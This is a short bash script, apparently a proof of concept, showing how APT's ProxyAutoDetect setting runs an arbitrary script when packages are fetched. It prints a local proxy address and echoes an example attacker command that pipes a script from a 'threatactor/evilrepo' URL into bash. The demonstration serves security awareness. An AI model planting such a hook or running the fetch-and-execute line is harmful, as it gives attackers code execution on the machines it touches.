#!/bin/bash # This script is executed automatically by APT when Acquire::http::ProxyAutoDetect is configured. # It demonstrates how a threat actor could abuse this feature to execute arbitrary commands. echo "http://127.0.0.1:8888" # stdout is interpreted as the proxy address # Simulated threat actor behavior echo "If I was a threat actor, I might do something like:" >&2 echo "/usr/bin/curl -fsSk https://raw.githubusercontent.com/threatactor/evilrepo/main/install.sh | bash" >&2